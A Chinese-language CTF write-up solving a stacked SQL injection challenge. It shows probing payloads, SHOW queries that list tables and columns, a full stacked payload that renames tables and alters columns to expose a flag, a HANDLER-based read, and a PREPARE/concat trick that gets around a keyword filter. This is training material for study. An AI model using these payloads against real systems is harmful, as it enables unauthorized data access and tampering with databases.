前言
这题主要用到了堆叠注入以及rename改表名,alert 改列名。下面我总结解题思路时也会适当的阐述一下alert和rename的用法。
0X01 判断是否存在sql注入
- 首先我尝试了传入
1'
发现报错,那么就是说它很大几率可以被单引号闭合。 - 接着我尝试传出
1' --+
发现回显正常那么基本就已经确定存在sql注入了。0X02 开始sql注入
- 还是老样子,先看有几个字段(列)传入
1’order by 3 --+
发现报错,传入1' order by 2 --+
发现回显正常,说明有2个字段(列) - 接着尝试爆数据库,传入
1' union select 1,2 --+
发现题目提示有过滤语句,过滤了select (一般情况下过滤了select 也就意味着要用堆叠注入了而不再使用联合注入) - 什么是堆叠注入: 在SQL中,分号(;)是用来表示一条sql语句的结束。结束一个sql语句后继续构造下一条语句,会一起被执行;这也就形成了堆叠注入。
- 开始堆叠注入,首先爆数据库看看。传入
1';show databases; --+
会爆出所有数据库 - 接着爆表,传入
1';show tables;--+
发现2个表,分别是”1919810931114514
“和”words
“ - 我们先来看看words里面的列,传入
1';show columns from words ;--+
虽然没有flag但是我们可以发现,这个表就是输入框按id回显的表也就是说我们在输入框输入数据,将在这个表中查找。再看看1919810931114514表中的列,传入1’;show columns from `1919810931114514` (注意,表名字符串可被` `包围也可不被,但是如果是数字的话必须被包围否则无法正常识别) 我们发现这个表里有flag列。 - 但是我怎么显示这列里面的数据呢?这就需要利用输入框来进行查找了,那么我可以把1919810931114514这个表改为words表并将flag列改为id列,这里我们猜测搜索框使用的是 select * from words where id= …
- 首先我们需要将原来的words表改个名字,以免后面发生冲突。然后将19198110831114514表改为words表这里我们使用到rename
rename使用格式:rename table 旧表名 to 新表名 - 我们还需要将原来的 1919810931114514表的flag列改为id列,这里我们使用到alert
alert使用格式:alert table 表名 change 旧列 新列 数据类型 - 那么最后我们得到的payload是
1
?inject=1'or 1=1;RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100)%20 ;show columns from words;--+
- 最后我们用 1′ or 1=1 访问一下。即可得到我们的flag。
- 还是老样子,先看有几个字段(列)传入
0X03 补充知识
- 堆叠注入的局限性: 堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
- 使用alter 来修、删、改、查
- 修改表的列名
用法:alter table 表名 change 旧列名 新列名 类型; - 修改表某一列的类型
用法:alter table 表名 modify 列名 类型; - 增加一列
用法:alter table 表名 add 列名 类型; - 删除一列
用法:alter table 表名 drop 列名;
0X04 一种新方法
在一次比赛当中,有一个类似的题目,只是他禁用了rename。此时有有一种新的方法,使用Mysql的handler语句。使用方法如下:
- 首先使用 handler table_name open ;打开表
- 然后使用 handler table_name read first; 来读取数据
0X05 预处理绕过
1 | PREPARE name from '[my sql sequece]'; //预定义SQL语句 |
也可以:
1 | SET @tn = 'hahaha'; //存储表名 |
payload:
1 | 1';set @a=concat("sel","ect flag from `1919810931114514`");Prepare hello from @a;execute hello;# |